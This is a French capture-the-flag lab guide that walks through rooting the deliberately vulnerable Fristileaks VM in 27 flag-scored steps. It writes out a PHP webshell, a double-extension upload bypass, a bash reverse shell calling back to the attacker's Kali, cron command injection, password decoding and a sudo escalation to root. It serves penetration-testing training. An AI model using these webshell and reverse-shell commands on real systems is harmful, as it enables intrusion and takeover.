Hacker Lab


Fristileaks est une machine qui a été écrite en 2015 pour un évènement de hacker hollandais nommé Fristileaks.
C'est une machine de niveau débutant.
L'objectif est de passer root et lire le flag final.

Accès à la VM
La VM n'est pas accessible à partir du xterm [Mon terminal].
Vous devez lancer une Kali sur votre PC et vous connecter avec un tunnel openvpn [Mon accès].
Ou bien, vous pouvez lancer une kali dans le browser [Ma Kali].

Démarrer la VM
Vérifiez que la VM est lancée sur la page [VMs], et pingez l'IP à partir de la Kali.

1 / 27 - Nmap
5

Lancer un nmap sans option
Le flag est la liste des ports ouverts sous la forme: a:b:c

2 / 27 - Sources
5

Regardez le source HTML de la page web.

Le flag est le temps estimé qu'il faut pour powner le serveur

3 / 27 - Apache version
5

Lancer un nmap avec l'option -sV

Le flag est la version du serveur web sous la forme a.b.c
Vous pouvez en profiter pour identifier l'OS (CentOS), et la version de PHP (5.3.3).

4 / 27 - Robots.txt
5

Récupérez le fichier robots.txt
Jetez un oeil aux répertoires interdits.

Le flag est le nombre d'entrées interdites

5 / 27 - fristi
5

Analysez le nom des répertoires interdits. A quoi ressemble une canette de sisi ?
Jetez un oeil au site web. Que nous incite-t-il à boire ?
Ouvrez vos chakras et devinez le nom d'un répertoire caché...

Le flag est le nom de ce répertoire qui donne un accès au login admin.

6 / 27 - admin
5

Regardez les sources de la page du login.
De nombreuses informations sont disponibles.

Le flag est le pseudo du développeur.

7 / 27 - base64
5

Regardez les sources de la page du login.
De nombreuses informations sont disponibles.

Le flag est: 3 premiers caractères d'un fichier encodé en base64 mis en commentaire.

8 / 27 - base64decode
5

Copiez/collez le contenu base64 dans un fichier data.base64.
Décodez ce fichier.

base64 -d data.base64 > data.raw 

Identifiez le type de données.

file data.raw 


Le flag est le type de fichier, en majuscule.

9 / 27 - image
5

Renommez l'extension du fichier et utilisez votre navigateur pour l'afficher

firefox data.png 

Vous pouvez recopier le texte dans un fichier, ou utiliser un utilitaire d'OCR.
Vérifiez que le texte généré n'a pas trop d'erreur. Si besoin, corrigez les à la main.

tesseract data.raw data 


Le flag est le texte du fichier.

10 / 27 - login
5

Relisez les commentaires du développeur tout en haut des sources

firefox view-source:http://fristileaks/fristi/ 

Devinez comment vous loguer.
Une fois logué vous avez un lien vers une page php.

Le flag est le nom de cette page sous la forme xxx.php

11 / 27 - notallowed
5

Créez un webshell : webshell_monpseudo.php

<?php system('id'); ?> 

Uploadez le.

Le flag est la liste des extensions autorisées sous la forme xx,xx,xx

12 / 27 - allowed
5

Renommez votre webshell pour qu'il ait une extension autorisée.

mv webshell_monpseudo.php webshell_monpseudo.jpg 

Uploadez le.

Le flag est le nom du répertoire dans lequel votre fichier a été uploadé.

13 / 27 - failexec
5

Executez votre shell dans le navigateur.
Puis avec un curl.
Votre webshell n'a pas été éxécuté par php, il a été servi tel quel par apache.

Le flag est le dernier mot du message d'erreur du navigateur.

14 / 27 - id
5

Ajoutez une extension php plus une extension autorisée à votre webshell.

mv webshell_monpseudo.php webshell_monpseudo.php.jpg 

Uploadez le.
Executez votre webshell qui contient la commande id.

Le flag est l'id affiché.

15 / 27 - webshell
5

Copiez le yop webshell : https://yoloctf.org/yoloctf/toolbox/yopwebshell.php.txt
Uploadez et Executez votre webshell.

Lisez les premières lignes du shell... Pas de bol, netcat n'est pas installé sur le serveur. Il va falloir utiliser bash ou python.

Mettez un netcat en écoute sur votre kali en remplaçant 4444 par un port libre entre 6000 et 8000.

nc -lvp 4444 

Utilisez un reverse shell en bash via la commande shell du webshell.
https://yoloctf.org/yoloctf/toolbox/toolbox.php?id=bash

L'option f de ps affiche les process et leurs fils.

ps xf 

Identifiez le nombre de process lancés par apache pour servir les requêtes.
Les process disponibles sont ceux sans fils.
Votre process est identifiable par le port sur la ligne

\_  XX -c bash -i >& /dev/tcp/10.71.0.3/MON_PORT 0>&1 

Il est bloqué.

Le flag est le nom du shell caché par XX.

16 / 27 - Yolo les potos
5

On quitte notre netcat avec un 'exit', ce qui débloque notre webshell.

On remet un nc en écoute sur le meme port sur notre kali.
On relance le même reverse shell bash via le webshell, avec un & à la fin.

bash -i >& /dev/tcp/IP_KALI/MON_PORT 0>&1 & 


Le navigateur ne reste pas bloqué...

Dans le nc, regardons la différence avec et sans ce & :

ps xf 

Les process bloqués s'affichent

32059 ?        S      0:00 /usr/sbin/httpd 
15108 ?        S      0:00  \_ sh -c bash -i >& /dev/tcp/10.71.0.3/4452 0>&1 
15110 ?        S      0:00      \_ bash -i 
20741 ?        R      0:00          \_ ps xf 

Les process avec un & s'affichent

3059 ?        S      0:00 /usr/sbin/httpd 
30787 ?        Z      0:00  \_ [sh] <defunct> 
619 ?        S      0:00 bash -c bash -i >& /dev/tcp/10.71.0.3/4444 0>&1 
621 ?        S      0:00  \_ bash -i 

Le process 30787 est terminé, il est en mode zombi. Il n'existe que pour garder une référence a ses childs.

Regardons la config d'apache pour voir combien de serveurs sont lancés en parallèle.
Suivant les distributions, les fichiers à des endroits différents : https://yoloctf.org/yoloctf/toolbox/toolbox.php?id=apache

Exemple:

StartServers 2 
ServerLimit 16 
MaxClients 200 
MinSpareThreads 25 
MaxSpareThreads 75 
ThreadsPerChild 25 

Le serveur démarre avec 2 process httpds. Chacun lance 25 threads.
Le nombre de connections simultanées est plafonnée à 200.

cat /etc/httpd/conf/httpd.conf | grep ServerLimit 


Le flag est la valeur de ServerLimit sur ce serveur.

17 / 27 - Version du kernel
5

Prenez des infos sur le système
https://yoloctf.org/yoloctf/toolbox/toolbox.php?id=os

Le flag est la version du kernel au format a.b.c

18 / 27 - Message
5

Fouillez le répertoire web à la recherche de fichiers .txt, .sav, .bak, .conf,...

pwd 
find /var/www -name '*.txt' 


Le flag est l'auteur d'une petite note.

19 / 27 - Message 2
5

Au vu de cette note, jetez un oeil dans le répertoire en question

Le flag est le nom d'un fichier en lecture seule pour tout le monde.

20 / 27 - cron
5

/tmp/runthis est executé chaque minute avec le compte de jerry.
Vous pouvez y entrer des commande shell, une par ligne
Les commandes doivent commencer par /home/admin ou /usr/bin
Il est interdit d'utiliser | & ou ;

Note: Pour identifier les taches de cron : https://yoloctf.org/yoloctf/toolbox/toolbox.php?id=cron
Ecrire votre commande dans /tmp/runthis et attendre que cron se déclenche

cd /home/admin/ 
ls -al 


Le flag est le nom d'un fichier en lecture seule presque pour tout le monde.

21 / 27 - Decode admin
5

Jetons un oeil à cryptpass.py.
Le message est encodé en base64, subit un décalage de lettres de type Rot13, puisest inversé.
Inversons ce traitement en shell.

echo "BASE64" | rev | tr '[A-Za-z]' '[N-ZA-Mn-za-m]' | base64 -d 


Le flag est cryptedpass.txt décodé.

22 / 27 - Decode Fristigod
5
echo "BASE64" | rev | tr '[A-Za-z]' '[N-ZA-Mn-za-m]' | base64 -d 


Le flag est whoisyourgodnow.txt décodé.

23 / 27 - Fristigod
5

Utilisons ces mots de passe pour se connecter en tant que frisitgod

su - USERLOGIN 

su ne fonctionne qu'avec un tty
Upgrade le shell avec un tty grace à python : https://yoloctf.org/yoloctf/toolbox/toolbox.php?id=ncupgrade

pwd 
ls -al 


Le flag est le nom d'un fichier d'historique.

24 / 27 - Secret Admin Stuff
5

Entrer dans le répertoire secret de l'admin.

Le flag est le nom d'un fichier avec un sticky bit.

25 / 27 - Sudo
5

Identifier la commande, avec son chemin complet pouvant être lancée en sudo: https://yoloctf.org/yoloctf/toolbox/toolbox.php?id=sudo

Le flag est le nom de l'utilisateur que vous allez pouvoir devenir.

26 / 27 - Root
5

Ouvrez un /bin/bash avec le sudo.

Le flag est le numéro d'uid que vous venez de récupérer.

27 / 27 - Flag
5

Avec un tel UID, vous devriez pouvoir lire le flag en /root/ sans soucis...

Le flag est le flag final.